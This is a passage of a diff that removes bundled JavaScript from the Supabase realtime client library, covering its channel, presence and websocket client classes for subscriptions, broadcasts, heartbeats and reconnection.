_cancelRefEvent() { - if (!this.refEvent) { - return; - } - this.channel._off(this.refEvent, {}); - } - _cancelTimeout() { - clearTimeout(this.timeoutTimer); - this.timeoutTimer = void 0; - } - _matchReceive({ status, response }) { - this.recHooks.filter((h) => h.status === status).forEach((h) => h.callback(response)); - } - _hasReceived(status) { - return this.receivedResp && this.receivedResp.status === status; - } - }; - - // node_modules/@supabase/realtime-js/dist/module/RealtimePresence.js - var REALTIME_PRESENCE_LISTEN_EVENTS; - (function(REALTIME_PRESENCE_LISTEN_EVENTS2) { - REALTIME_PRESENCE_LISTEN_EVENTS2["SYNC"] = "sync"; - REALTIME_PRESENCE_LISTEN_EVENTS2["JOIN"] = "join"; - REALTIME_PRESENCE_LISTEN_EVENTS2["LEAVE"] = "leave"; - })(REALTIME_PRESENCE_LISTEN_EVENTS || (REALTIME_PRESENCE_LISTEN_EVENTS = {})); - var RealtimePresence = class _RealtimePresence { - /** - * Initializes the Presence. - * - * @param channel - The RealtimeChannel - * @param opts - The options, - * for example `{events: {state: 'state', diff: 'diff'}}` - */ - constructor(channel, opts) { - this.channel = channel; - this.state = {}; - this.pendingDiffs = []; - this.joinRef = null; - this.caller = { - onJoin: () => { - }, - onLeave: () => { - }, - onSync: () => { - } - }; - const events = (opts === null || opts === void 0 ? void 0 : opts.events) || { - state: "presence_state", - diff: "presence_diff" - }; - this.channel._on(events.state, {}, (newState) => { - const { onJoin, onLeave, onSync } = this.caller; - this.joinRef = this.channel._joinRef(); - this.state = _RealtimePresence.syncState(this.state, newState, onJoin, onLeave); - this.pendingDiffs.forEach((diff) => { - this.state = _RealtimePresence.syncDiff(this.state, diff, onJoin, onLeave); - }); - this.pendingDiffs = []; - onSync(); - }); - this.channel._on(events.diff, {}, (diff) => { - const { onJoin, onLeave, onSync } = this.caller; - if (this.inPendingSyncState()) { - this.pendingDiffs.push(diff); - } else { - this.state = _RealtimePresence.syncDiff(this.state, diff, onJoin, onLeave); - onSync(); - } - }); - this.onJoin((key3, currentPresences, newPresences) => { - this.channel._trigger("presence", { - event: "join", - key: key3, - currentPresences, - newPresences - }); - }); - this.onLeave((key3, currentPresences, leftPresences) => { - this.channel._trigger("presence", { - event: "leave", - key: key3, - currentPresences, - leftPresences - }); - }); - this.onSync(() => { - this.channel._trigger("presence", { event: "sync" }); - }); - } - /** - * Used to sync the list of presences on the server with the - * client's state. - * - * An optional `onJoin` and `onLeave` callback can be provided to - * react to changes in the client's local presences across - * disconnects and reconnects with the server. - * - * @internal - */ - static syncState(currentState, newState, onJoin, onLeave) { - const state = this.cloneDeep(currentState); - const transformedState = this.transformState(newState); - const joins = {}; - const leaves = {}; - this.map(state, (key3, presences) => { - if (!transformedState[key3]) { - leaves[key3] = presences; - } - }); - this.map(transformedState, (key3, newPresences) => { - const currentPresences = state[key3]; - if (currentPresences) { - const newPresenceRefs = newPresences.map((m) => m.presence_ref); - const curPresenceRefs = currentPresences.map((m) => m.presence_ref); - const joinedPresences = newPresences.filter((m) => curPresenceRefs.indexOf(m.presence_ref) < 0); - const leftPresences = currentPresences.filter((m) => newPresenceRefs.indexOf(m.presence_ref) < 0); - if (joinedPresences.length > 0) { - joins[key3] = joinedPresences; - } - if (leftPresences.length > 0) { - leaves[key3] = leftPresences; - } - } else { - joins[key3] = newPresences; - } - }); - return this.syncDiff(state, { joins, leaves }, onJoin, onLeave); - } - /** - * Used to sync a diff of presence join and leave events from the - * server, as they happen. - * - * Like `syncState`, `syncDiff` accepts optional `onJoin` and - * `onLeave` callbacks to react to a user joining or leaving from a - * device. - * - * @internal - */ - static syncDiff(state, diff, onJoin, onLeave) { - const { joins, leaves } = { - joins: this.transformState(diff.joins), - leaves: this.transformState(diff.leaves) - }; - if (!onJoin) { - onJoin = () => { - }; - } - if (!onLeave) { - onLeave = () => { - }; - } - this.map(joins, (key3, newPresences) => { - var _a; - const currentPresences = (_a = state[key3]) !== null && _a !== void 0 ? _a : []; - state[key3] = this.cloneDeep(newPresences); - if (currentPresences.length > 0) { - const joinedPresenceRefs = state[key3].map((m) => m.presence_ref); - const curPresences = currentPresences.filter((m) => joinedPresenceRefs.indexOf(m.presence_ref) < 0); - state[key3].unshift(...curPresences); - } - onJoin(key3, currentPresences, newPresences); - }); - this.map(leaves, (key3, leftPresences) => { - let currentPresences = state[key3]; - if (!currentPresences) - return; - const presenceRefsToRemove = leftPresences.map((m) => m.presence_ref); - currentPresences = currentPresences.filter((m) => presenceRefsToRemove.indexOf(m.presence_ref) < 0); - state[key3] = currentPresences; - onLeave(key3, currentPresences, leftPresences); - if (currentPresences.length === 0) - delete state[key3]; - }); - return state; - } - /** @internal */ - static map(obj, func) { - return Object.getOwnPropertyNames(obj).map((key3) => func(key3, obj[key3])); - } - /** - * Remove 'metas' key - * Change 'phx_ref' to 'presence_ref' - * Remove 'phx_ref' and 'phx_ref_prev' - * - * @example - * // returns { - * abc123: [ - * { presence_ref: '2', user_id: 1 }, - * { presence_ref: '3', user_id: 2 } - * ] - * } - * RealtimePresence.transformState({ - * abc123: { - * metas: [ - * { phx_ref: '2', phx_ref_prev: '1' user_id: 1 }, - * { phx_ref: '3', user_id: 2 } - * ] - * } - * }) - * - * @internal - */ - static transformState(state) { - state = this.cloneDeep(state); - return Object.getOwnPropertyNames(state).reduce((newState, key3) => { - const presences = state[key3]; - if ("metas" in presences) { - newState[key3] = presences.metas.map((presence) => { - presence["presence_ref"] = presence["phx_ref"]; - delete presence["phx_ref"]; - delete presence["phx_ref_prev"]; - return presence; - }); - } else { - newState[key3] = presences; - } - return newState; - }, {}); - } - /** @internal */ - static cloneDeep(obj) { - return JSON.parse(JSON.stringify(obj)); - } - /** @internal */ - onJoin(callback) { - this.caller.onJoin = callback; - } - /** @internal */ - onLeave(callback) { - this.caller.onLeave = callback; - } - /** @internal */ - onSync(callback) { - this.caller.onSync = callback; - } - /** @internal */ - inPendingSyncState() { - return !this.joinRef || this.joinRef !== this.channel._joinRef(); - } - }; - - // node_modules/@supabase/realtime-js/dist/module/RealtimeChannel.js - var REALTIME_POSTGRES_CHANGES_LISTEN_EVENT; - (function(REALTIME_POSTGRES_CHANGES_LISTEN_EVENT2) { - REALTIME_POSTGRES_CHANGES_LISTEN_EVENT2["ALL"] = "*"; - REALTIME_POSTGRES_CHANGES_LISTEN_EVENT2["INSERT"] = "INSERT"; - REALTIME_POSTGRES_CHANGES_LISTEN_EVENT2["UPDATE"] = "UPDATE"; - REALTIME_POSTGRES_CHANGES_LISTEN_EVENT2["DELETE"] = "DELETE"; - })(REALTIME_POSTGRES_CHANGES_LISTEN_EVENT || (REALTIME_POSTGRES_CHANGES_LISTEN_EVENT = {})); - var REALTIME_LISTEN_TYPES; - (function(REALTIME_LISTEN_TYPES2) { - REALTIME_LISTEN_TYPES2["BROADCAST"] = "broadcast"; - REALTIME_LISTEN_TYPES2["PRESENCE"] = "presence"; - REALTIME_LISTEN_TYPES2["POSTGRES_CHANGES"] = "postgres_changes"; - })(REALTIME_LISTEN_TYPES || (REALTIME_LISTEN_TYPES = {})); - var REALTIME_SUBSCRIBE_STATES; - (function(REALTIME_SUBSCRIBE_STATES2) { - REALTIME_SUBSCRIBE_STATES2["SUBSCRIBED"] = "SUBSCRIBED"; - REALTIME_SUBSCRIBE_STATES2["TIMED_OUT"] = "TIMED_OUT"; - REALTIME_SUBSCRIBE_STATES2["CLOSED"] = "CLOSED"; - REALTIME_SUBSCRIBE_STATES2["CHANNEL_ERROR"] = "CHANNEL_ERROR"; - })(REALTIME_SUBSCRIBE_STATES || (REALTIME_SUBSCRIBE_STATES = {})); - var RealtimeChannel = class _RealtimeChannel { - constructor(topic, params = { config: {} }, socket) { - this.topic = topic; - this.params = params; - this.socket = socket; - this.bindings = {}; - this.state = CHANNEL_STATES.closed; - this.joinedOnce = false; - this.pushBuffer = []; - this.subTopic = topic.replace(/^realtime:/i, ""); - this.params.config = Object.assign({ - broadcast: { ack: false, self: false }, - presence: { key: "" }, - private: false - }, params.config); - this.timeout = this.socket.timeout; - this.joinPush = new Push(this, CHANNEL_EVENTS.join, this.params, this.timeout); - this.rejoinTimer = new Timer(() => this._rejoinUntilConnected(), this.socket.reconnectAfterMs); - this.joinPush.receive("ok", () => { - this.state = CHANNEL_STATES.joined; - this.rejoinTimer.reset(); - this.pushBuffer.forEach((pushEvent) => pushEvent.send()); - this.pushBuffer = []; - }); - this._onClose(() => { - this.rejoinTimer.reset(); - this.socket.log("channel", `close ${this.topic} ${this._joinRef()}`); - this.state = CHANNEL_STATES.closed; - this.socket._remove(this); - }); - this._onError((reason) => { - if (this._isLeaving() || this._isClosed()) { - return; - } - this.socket.log("channel", `error ${this.topic}`, reason); - this.state = CHANNEL_STATES.errored; - this.rejoinTimer.scheduleTimeout(); - }); - this.joinPush.receive("timeout", () => { - if (!this._isJoining()) { - return; - } - this.socket.log("channel", `timeout ${this.topic}`, this.joinPush.timeout); - this.state = CHANNEL_STATES.errored; - this.rejoinTimer.scheduleTimeout(); - }); - this._on(CHANNEL_EVENTS.reply, {}, (payload, ref) => { - this._trigger(this._replyEventName(ref), payload); - }); - this.presence = new RealtimePresence(this); - this.broadcastEndpointURL = httpEndpointURL(this.socket.endPoint) + "/api/broadcast"; - } - /** Subscribe registers your client with the server */ - subscribe(callback, timeout = this.timeout) { - var _a, _b; - if (!this.socket.isConnected()) { - this.socket.connect(); - } - if (this.joinedOnce) { - throw `tried to subscribe multiple times. 'subscribe' can only be called a single time per channel instance`; - } else { - const { config: { broadcast, presence, private: isPrivate } } = this.params; - this._onError((e) => callback && callback("CHANNEL_ERROR", e)); - this._onClose(() => callback && callback("CLOSED")); - const accessTokenPayload = {}; - const config = { - broadcast, - presence, - postgres_changes: (_b = (_a = this.bindings.postgres_changes) === null || _a === void 0 ? void 0 : _a.map((r3) => r3.filter)) !== null && _b !== void 0 ? _b : [], - private: isPrivate - }; - if (this.socket.accessToken) { - accessTokenPayload.access_token = this.socket.accessToken; - } - this.updateJoinPayload(Object.assign({ config }, accessTokenPayload)); - this.joinedOnce = true; - this._rejoin(timeout); - this.joinPush.receive("ok", ({ postgres_changes: serverPostgresFilters }) => { - var _a2; - this.socket.accessToken && this.socket.setAuth(this.socket.accessToken); - if (serverPostgresFilters === void 0) { - callback && callback("SUBSCRIBED"); - return; - } else { - const clientPostgresBindings = this.bindings.postgres_changes; - const bindingsLen = (_a2 = clientPostgresBindings === null || clientPostgresBindings === void 0 ? void 0 : clientPostgresBindings.length) !== null && _a2 !== void 0 ? _a2 : 0; - const newPostgresBindings = []; - for (let i = 0; i < bindingsLen; i++) { - const clientPostgresBinding = clientPostgresBindings[i]; - const { filter: { event, schema, table: table3, filter: filter2 } } = clientPostgresBinding; - const serverPostgresFilter = serverPostgresFilters && serverPostgresFilters[i]; - if (serverPostgresFilter && serverPostgresFilter.event === event && serverPostgresFilter.schema === schema && serverPostgresFilter.table === table3 && serverPostgresFilter.filter === filter2) { - newPostgresBindings.push(Object.assign(Object.assign({}, clientPostgresBinding), { id: serverPostgresFilter.id })); - } else { - this.unsubscribe(); - callback && callback("CHANNEL_ERROR", new Error("mismatch between server and client bindings for postgres changes")); - return; - } - } - this.bindings.postgres_changes = newPostgresBindings; - callback && callback("SUBSCRIBED"); - return; - } - }).receive("error", (error) => { - callback && callback("CHANNEL_ERROR", new Error(JSON.stringify(Object.values(error).join(", ") || "error"))); - return; - }).receive("timeout", () => { - callback && callback("TIMED_OUT"); - return; - }); - } - return this; - } - presenceState() { - return this.presence.state; - } - async track(payload, opts = {}) { - return await this.send({ - type: "presence", - event: "track", - payload - }, opts.timeout || this.timeout); - } - async untrack(opts = {}) { - return await this.send({ - type: "presence", - event: "untrack" - }, opts); - } - on(type, filter2, callback) { - return this._on(type, filter2, callback); - } - /** - * Sends a message into the channel. - * - * @param args Arguments to send to channel - * @param args.type The type of event to send - * @param args.event The name of the event being sent - * @param args.payload Payload to be sent - * @param opts Options to be used during the send process - */ - async send(args, opts = {}) { - var _a, _b; - if (!this._canPush() && args.type === "broadcast") { - const { event, payload: endpoint_payload } = args; - const options = { - method: "POST", - headers: { - Authorization: this.socket.accessToken ? `Bearer ${this.socket.accessToken}` : "", - apikey: this.socket.apiKey ? this.socket.apiKey : "", - "Content-Type": "application/json" - }, - body: JSON.stringify({ - messages: [ - { topic: this.subTopic, event, payload: endpoint_payload } - ] - }) - }; - try { - const response = await this._fetchWithTimeout(this.broadcastEndpointURL, options, (_a = opts.timeout) !== null && _a !== void 0 ? _a : this.timeout); - await ((_b = response.body) === null || _b === void 0 ? void 0 : _b.cancel()); - return response.ok ? "ok" : "error"; - } catch (error) { - if (error.name === "AbortError") { - return "timed out"; - } else { - return "error"; - } - } - } else { - return new Promise((resolve) => { - var _a2, _b2, _c; - const push = this._push(args.type, args, opts.timeout || this.timeout); - if (args.type === "broadcast" && !((_c = (_b2 = (_a2 = this.params) === null || _a2 === void 0 ? void 0 : _a2.config) === null || _b2 === void 0 ? void 0 : _b2.broadcast) === null || _c === void 0 ? void 0 : _c.ack)) { - resolve("ok"); - } - push.receive("ok", () => resolve("ok")); - push.receive("error", () => resolve("error")); - push.receive("timeout", () => resolve("timed out")); - }); - } - } - updateJoinPayload(payload) { - this.joinPush.updatePayload(payload); - } - /** - * Leaves the channel. - * - * Unsubscribes from server events, and instructs channel to terminate on server. - * Triggers onClose() hooks. - * - * To receive leave acknowledgements, use the a `receive` hook to bind to the server ack, ie: - * channel.unsubscribe().receive("ok", () => alert("left!") ) - */ - unsubscribe(timeout = this.timeout) { - this.state = CHANNEL_STATES.leaving; - const onClose = () => { - this.socket.log("channel", `leave ${this.topic}`); - this._trigger(CHANNEL_EVENTS.close, "leave", this._joinRef()); - }; - this.rejoinTimer.reset(); - this.joinPush.destroy(); - return new Promise((resolve) => { - const leavePush = new Push(this, CHANNEL_EVENTS.leave, {}, timeout); - leavePush.receive("ok", () => { - onClose(); - resolve("ok"); - }).receive("timeout", () => { - onClose(); - resolve("timed out"); - }).receive("error", () => { - resolve("error"); - }); - leavePush.send(); - if (!this._canPush()) { - leavePush.trigger("ok", {}); - } - }); - } - /** @internal */ - async _fetchWithTimeout(url, options, timeout) { - const controller = new AbortController(); - const id3 = setTimeout(() => controller.abort(), timeout); - const response = await this.socket.fetch(url, Object.assign(Object.assign({}, options), { signal: controller.signal })); - clearTimeout(id3); - return response; - } - /** @internal */ - _push(event, payload, timeout = this.timeout) { - if (!this.joinedOnce) { - throw `tried to push '${event}' to '${this.topic}' before joining. Use channel.subscribe() before pushing events`; - } - let pushEvent = new Push(this, event, payload, timeout); - if (this._canPush()) { - pushEvent.send(); - } else { - pushEvent.startTimeout(); - this.pushBuffer.push(pushEvent); - } - return pushEvent; - } - /** - * Overridable message hook - * - * Receives all events for specialized message handling before dispatching to the channel callbacks. - * Must return the payload, modified or unmodified. - * - * @internal - */ - _onMessage(_event, payload, _ref) { - return payload; - } - /** @internal */ - _isMember(topic) { - return this.topic === topic; - } - /** @internal */ - _joinRef() { - return this.joinPush.ref; - } - /** @internal */ - _trigger(type, payload, ref) { - var _a, _b; - const typeLower = type.toLocaleLowerCase(); - const { close, error, leave, join } = CHANNEL_EVENTS; - const events = [close, error, leave, join]; - if (ref && events.indexOf(typeLower) >= 0 && ref !== this._joinRef()) { - return; - } - let handledPayload = this._onMessage(typeLower, payload, ref); - if (payload && !handledPayload) { - throw "channel onMessage callbacks must return the payload, modified or unmodified"; - } - if (["insert", "update", "delete"].includes(typeLower)) { - (_a = this.bindings.postgres_changes) === null || _a === void 0 ? void 0 : _a.filter((bind2) => { - var _a2, _b2, _c; - return ((_a2 = bind2.filter) === null || _a2 === void 0 ? void 0 : _a2.event) === "*" || ((_c = (_b2 = bind2.filter) === null || _b2 === void 0 ? void 0 : _b2.event) === null || _c === void 0 ? void 0 : _c.toLocaleLowerCase()) === typeLower; - }).map((bind2) => bind2.callback(handledPayload, ref)); - } else { - (_b = this.bindings[typeLower]) === null || _b === void 0 ? void 0 : _b.filter((bind2) => { - var _a2, _b2, _c, _d, _e, _f; - if (["broadcast", "presence", "postgres_changes"].includes(typeLower)) { - if ("id" in bind2) { - const bindId = bind2.id; - const bindEvent = (_a2 = bind2.filter) === null || _a2 === void 0 ? void 0 : _a2.event; - return bindId && ((_b2 = payload.ids) === null || _b2 === void 0 ? void 0 : _b2.includes(bindId)) && (bindEvent === "*" || (bindEvent === null || bindEvent === void 0 ? void 0 : bindEvent.toLocaleLowerCase()) === ((_c = payload.data) === null || _c === void 0 ? void 0 : _c.type.toLocaleLowerCase())); - } else { - const bindEvent = (_e = (_d = bind2 === null || bind2 === void 0 ? void 0 : bind2.filter) === null || _d === void 0 ? void 0 : _d.event) === null || _e === void 0 ? void 0 : _e.toLocaleLowerCase(); - return bindEvent === "*" || bindEvent === ((_f = payload === null || payload === void 0 ? void 0 : payload.event) === null || _f === void 0 ? void 0 : _f.toLocaleLowerCase()); - } - } else { - return bind2.type.toLocaleLowerCase() === typeLower; - } - }).map((bind2) => { - if (typeof handledPayload === "object" && "ids" in handledPayload) { - const postgresChanges = handledPayload.data; - const { schema, table: table3, commit_timestamp, type: type2, errors } = postgresChanges; - const enrichedPayload = { - schema, - table: table3, - commit_timestamp, - eventType: type2, - new: {}, - old: {}, - errors - }; - handledPayload = Object.assign(Object.assign({}, enrichedPayload), this._getPayloadRecords(postgresChanges)); - } - bind2.callback(handledPayload, ref); - }); - } - } - /** @internal */ - _isClosed() { - return this.state === CHANNEL_STATES.closed; - } - /** @internal */ - _isJoined() { - return this.state === CHANNEL_STATES.joined; - } - /** @internal */ - _isJoining() { - return this.state === CHANNEL_STATES.joining; - } - /** @internal */ - _isLeaving() { - return this.state === CHANNEL_STATES.leaving; - } - /** @internal */ - _replyEventName(ref) { - return `chan_reply_${ref}`; - } - /** @internal */ - _on(type, filter2, callback) { - const typeLower = type.toLocaleLowerCase(); - const binding = { - type: typeLower, - filter: filter2, - callback - }; - if (this.bindings[typeLower]) { - this.bindings[typeLower].push(binding); - } else { - this.bindings[typeLower] = [binding]; - } - return this; - } - /** @internal */ - _off(type, filter2) { - const typeLower = type.toLocaleLowerCase(); - this.bindings[typeLower] = this.bindings[typeLower].filter((bind2) => { - var _a; - return !(((_a = bind2.type) === null || _a === void 0 ? void 0 : _a.toLocaleLowerCase()) === typeLower && _RealtimeChannel.isEqual(bind2.filter, filter2)); - }); - return this; - } - /** @internal */ - static isEqual(obj1, obj2) { - if (Object.keys(obj1).length !== Object.keys(obj2).length) { - return false; - } - for (const k in obj1) { - if (obj1[k] !== obj2[k]) { - return false; - } - } - return true; - } - /** @internal */ - _rejoinUntilConnected() { - this.rejoinTimer.scheduleTimeout(); - if (this.socket.isConnected()) { - this._rejoin(); - } - } - /** - * Registers a callback that will be executed when the channel closes. - * - * @internal - */ - _onClose(callback) { - this._on(CHANNEL_EVENTS.close, {}, callback); - } - /** - * Registers a callback that will be executed when the channel encounteres an error. - * - * @internal - */ - _onError(callback) { - this._on(CHANNEL_EVENTS.error, {}, (reason) => callback(reason)); - } - /** - * Returns `true` if the socket is connected and the channel has been joined. - * - * @internal - */ - _canPush() { - return this.socket.isConnected() && this._isJoined(); - } - /** @internal */ - _rejoin(timeout = this.timeout) { - if (this._isLeaving()) { - return; - } - this.socket._leaveOpenTopic(this.topic); - this.state = CHANNEL_STATES.joining; - this.joinPush.resend(timeout); - } - /** @internal */ - _getPayloadRecords(payload) { - const records = { - new: {}, - old: {} - }; - if (payload.type === "INSERT" || payload.type === "UPDATE") { - records.new = convertChangeData(payload.columns, payload.record); - } - if (payload.type === "UPDATE" || payload.type === "DELETE") { - records.old = convertChangeData(payload.columns, payload.old_record); - } - return records; - } - }; - - // node_modules/@supabase/realtime-js/dist/module/RealtimeClient.js - var noop3 = () => { - }; - var NATIVE_WEBSOCKET_AVAILABLE = typeof WebSocket !== "undefined"; - var RealtimeClient = class { - /** - * Initializes the Socket. - * - * @param endPoint The string WebSocket endpoint, ie, "ws://example.com/socket", "wss://example.com", "/socket" (inherited host & protocol) - * @param httpEndpoint The string HTTP endpoint, ie, "https://example.com", "/" (inherited host & protocol) - * @param options.transport The Websocket Transport, for example WebSocket. - * @param options.timeout The default timeout in milliseconds to trigger push timeouts. - * @param options.params The optional params to pass when connecting. - * @param options.headers The optional headers to pass when connecting. - * @param options.heartbeatIntervalMs The millisec interval to send a heartbeat message. - * @param options.logger The optional function for specialized logging, ie: logger: (kind, msg, data) => { console.log(`${kind}: ${msg}`, data) } - * @param options.encode The function to encode outgoing messages. Defaults to JSON: (payload, callback) => callback(JSON.stringify(payload)) - * @param options.decode The function to decode incoming messages. Defaults to Serializer's decode. - * @param options.reconnectAfterMs he optional function that returns the millsec reconnect interval. Defaults to stepped backoff off. - */ - constructor(endPoint, options) { - var _a; - this.accessToken = null; - this.apiKey = null; - this.channels = []; - this.endPoint = ""; - this.httpEndpoint = ""; - this.headers = DEFAULT_HEADERS; - this.params = {}; - this.timeout = DEFAULT_TIMEOUT; - this.heartbeatIntervalMs = 3e4; - this.heartbeatTimer = void 0; - this.pendingHeartbeatRef = null; - this.ref = 0; - this.logger = noop3; - this.conn = null; - this.sendBuffer = []; - this.serializer = new Serializer(); - this.stateChangeCallbacks = { - open: [], - close: [], - error: [], - message: [] - }; - this._resolveFetch = (customFetch) => { - let _fetch; - if (customFetch) { - _fetch = customFetch; - } else if (typeof fetch === "undefined") { - _fetch = (...args) => Promise.resolve().then(() => (init_browser(), browser_exports)).then(({ default: fetch3 }) => fetch3(...args)); - } else { - _fetch = fetch; - } - return (...args) => _fetch(...args); - }; - this.endPoint = `${endPoint}/${TRANSPORTS.websocket}`; - this.httpEndpoint = httpEndpointURL(endPoint); - if (options === null || options === void 0 ? void 0 : options.transport) { - this.transport = options.transport; - } else { - this.transport = null; - } - if (options === null || options === void 0 ? void 0 : options.params) - this.params = options.params; - if (options === null || options === void 0 ? void 0 : options.headers) - this.headers = Object.assign(Object.assign({}, this.headers), options.headers); - if (options === null || options === void 0 ? void 0 : options.timeout) - this.timeout = options.timeout; - if (options === null || options === void 0 ? void 0 : options.logger) - this.logger = options.logger; - if (options === null || options === void 0 ? void 0 : options.heartbeatIntervalMs) - this.heartbeatIntervalMs = options.heartbeatIntervalMs; - const accessToken = (_a = options === null || options === void 0 ? void 0 : options.params) === null || _a === void 0 ? void 0 : _a.apikey; - if (accessToken) { - this.accessToken = accessToken; - this.apiKey = accessToken; - } - this.reconnectAfterMs = (options === null || options === void 0 ? void 0 : options.reconnectAfterMs) ? options.reconnectAfterMs : (tries) => { - return [1e3, 2e3, 5e3, 1e4][tries - 1] || 1e4; - }; - this.encode = (options === null || options === void 0 ? void 0 : options.encode) ? options.encode : (payload, callback) => { - return callback(JSON.stringify(payload)); - }; - this.decode = (options === null || options === void 0 ? void 0 : options.decode) ? options.decode : this.serializer.decode.bind(this.serializer); - this.reconnectTimer = new Timer(async () => { - this.disconnect(); - this.connect(); - }, this.reconnectAfterMs); - this.fetch = this._resolveFetch(options === null || options === void 0 ? void 0 : options.fetch); - } - /** - * Connects the socket, unless already connected. - */ - connect() { - if (this.conn) { - return; - } - if (this.transport) { - this.conn = new this.transport(this._endPointURL(), void 0, { - headers: this.headers - }); - return; - } - if (NATIVE_WEBSOCKET_AVAILABLE) { - this.conn = new WebSocket(this._endPointURL()); - this.setupConnection(); - return; - } - this.conn = new WSWebSocketDummy(this._endPointURL(), void 0, { - close: () => { - this.conn = null; - } - }); - Promise.resolve().then(() => __toESM(require_browser())).then(({ default: WS2 }) => { - this.conn = new WS2(this._endPointURL(), void 0, { - headers: this.headers - }); - this.setupConnection(); - }); - } - /** - * Disconnects the socket. - * - * @param code A numeric status code to send on disconnect. - * @param reason A custom reason for the disconnect. - */ - disconnect(code, reason) { - if (this.conn) { - this.conn.onclose = function() { - }; - if (code) { - this.conn.close(code, reason !== null && reason !== void 0 ? reason : ""); - } else { - this.conn.close(); - } - this.conn = null; - this.heartbeatTimer && clearInterval(this.heartbeatTimer); - this.reconnectTimer.reset(); - } - } - /** - * Returns all created channels - */ - getChannels() { - return this.channels; - } - /** - * Unsubscribes and removes a single channel - * @param channel A RealtimeChannel instance - */ - async removeChannel(channel) { - const status = await channel.unsubscribe(); - if (this.channels.length === 0) { - this.disconnect(); - } - return status; - } - /** - * Unsubscribes and removes all channels - */ - async removeAllChannels() { - const values_1 = await Promise.all(this.channels.map((channel) => channel.unsubscribe())); - this.disconnect(); - return values_1; - } - /** - * Logs the message. - * - * For customized logging, `this.logger` can be overridden. - */ - log(kind, msg, data) { - this.logger(kind, msg, data); - } - /** - * Returns the current state of the socket. - */ - connectionState() { - switch (this.conn && this.conn.readyState) { - case SOCKET_STATES.connecting: - return CONNECTION_STATE.Connecting; - case SOCKET_STATES.open: - return CONNECTION_STATE.Open; - case SOCKET_STATES.closing: - return CONNECTION_STATE.Closing; - default: - return CONNECTION_STATE.Closed; - } - } - /** - * Returns `true` is the connection is open. - */ - isConnected() { - return this.connectionState() === CONNECTION_STATE.Open; - } - channel(topic, params = { config: {} }) { - const chan = new RealtimeChannel(`realtime:${topic}`, params, this); - this.channels.push(chan); - return chan; - } - /** - * Push out a message if the socket is connected. - * - * If the socket is not connected, the message gets enqueued within a local buffer, and sent out when a connection is next established. - */ - push(data) { - const { topic, event, payload, ref } = data; - const callback = () => { - this.encode(data, (result) => { - var _a; - (_a = this.conn) === null || _a === void 0 ? void 0 : _a.send(result); - }); - }; - this.log("push", `${topic} ${event} (${ref})`, payload); - if (this.isConnected()) { - callback(); - } else { - this.sendBuffer.push(callback); - } - } - /** - * Sets the JWT access token used for channel subscription authorization and Realtime RLS. - * - * @param token A JWT string. - */ - setAuth(token) { - this.accessToken = token; - this.channels.forEach((channel) => { - token && channel.updateJoinPayload({ access_token: token }); - if (channel.joinedOnce && channel._isJoined()) { - channel._push(CHANNEL_EVENTS.access_token, { access_token: token }); - } - }); - } - /** - * Return the next message ref, accounting for overflows - * - * @internal - */ - _makeRef() { - let newRef = this.ref + 1; - if (newRef === this.ref) { - this.ref = 0; - } else { - this.ref = newRef; - } - return this.ref.toString(); - } - /** - * Unsubscribe from channels with the specified topic. - * - * @internal - */ - _leaveOpenTopic(topic) { - let dupChannel = this.channels.find((c) => c.topic === topic && (c._isJoined() || c._isJoining())); - if (dupChannel) { - this.log("transport", `leaving duplicate topic "${topic}"`); - dupChannel.unsubscribe(); - } - } - /** - * Removes a subscription from the socket. - * - * @param channel An open subscription. - * - * @internal - */ - _remove(channel) { - this.channels = this.channels.filter((c) => c._joinRef() !== channel._joinRef()); - } - /** - * Sets up connection handlers. - * - * @internal - */ - setupConnection() { - if (this.conn) { - this.conn.binaryType = "arraybuffer"; - this.conn.onopen = () => this._onConnOpen(); - this.conn.onerror = (error) => this._onConnError(error); - this.conn.onmessage = (event) => this._onConnMessage(event); - this.conn.onclose = (event) => this._onConnClose(event); - } - } - /** - * Returns the URL of the websocket. - * - * @internal - */ - _endPointURL() { - return this._appendParams(this.endPoint, Object.assign({}, this.params, { vsn: VSN })); - } - /** @internal */ - _onConnMessage(rawMessage) { - this.decode(rawMessage.data, (msg) => { - let { topic, event, payload, ref } = msg; - if (ref && ref === this.pendingHeartbeatRef || event === (payload === null || payload === void 0 ? void 0 : payload.type)) { - this.pendingHeartbeatRef = null; - } - this.log("receive", `${payload.status || ""} ${topic} ${event} ${ref && "(" + ref + ")" || ""}`, payload); - this.channels.filter((channel) => channel._isMember(topic)).forEach((channel) => channel._trigger(event, payload, ref)); - this.stateChangeCallbacks.message.forEach((callback) => callback(msg)); - }); - } - /** @internal */ - _onConnOpen() { - this.log("transport", `connected to ${this._endPointURL()}`); - this._flushSendBuffer(); - this.reconnectTimer.reset(); - this.heartbeatTimer && clearInterval(this.heartbeatTimer); - this.heartbeatTimer = setInterval(() => this._sendHeartbeat(), this.heartbeatIntervalMs); - this.stateChangeCallbacks.open.forEach((callback) => callback()); - } - /** @internal */ - _onConnClose(event) { - this.log("transport", "close", event); - this._triggerChanError(); - this.heartbeatTimer && clearInterval(this.heartbeatTimer); - this.reconnectTimer.scheduleTimeout(); - this.stateChangeCallbacks.close.forEach((callback) => callback(event)); - } - /** @internal */ - _onConnError(error) { - this.log("transport", error.message); - this._triggerChanError(); - this.stateChangeCallbacks.error.forEach((callback) => callback(error)); - } - /** @internal */ - _triggerChanError() { - this.channels.forEach((channel) => channel._trigger(CHANNEL_EVENTS.error)); - } - /** @internal */ - _appendParams(url, params) { - if (Object.keys(params).length === 0) { - return url; - } - const prefix = url.match(/\?/) ? "&" : "?"; - const query = new URLSearchParams(params); - return `${url}${prefix}${query}`; - } - /** @internal */ - _flushSendBuffer() { - if (this.isConnected() && this.sendBuffer.length > 0) { - this.sendBuffer.forEach((callback) => callback()); - this.sendBuffer = []; - } - } - /** @internal */ - _sendHeartbeat() { - var _a; - if (!this.isConnected()) { - return; - } - if (this.pendingHeartbeatRef) { - this.pendingHeartbeatRef = null; - this.log("transport", "heartbeat timeout. Attempting to re-establish connection"); - (_a = this.conn) === null || _a === void 0 ? void 0 : _a.close(WS_CLOSE_NORMAL, "hearbeat timeout"); - return; - } - this.pendingHeartbeatRef = this._makeRef(); - this.push({ - topic: "phoenix", - event: "heartbeat", - payload: {}, - ref: this.pendingHeartbeatRef - }); - this.setAuth(this.accessToken); - } - }; - var WSWebSocketDummy = class { - constructor(address, _protocols, options) { - this.binaryType = "arraybuffer"; - this.onclose = () => { - }; - this.onerror = () => { - }; - this.onmessage = () => { - }; - this.onopen = () => { - }; - this.readyState = SOCKET_STATES.connecting; - this.send = () => { - }; - this.url = null; - this.url = address; - this.close = options.close; - } - }; - - // node_modules/@supabase/storage-js/dist/module/lib/errors.js - var StorageError = class extends Error { - constructor(message) { - 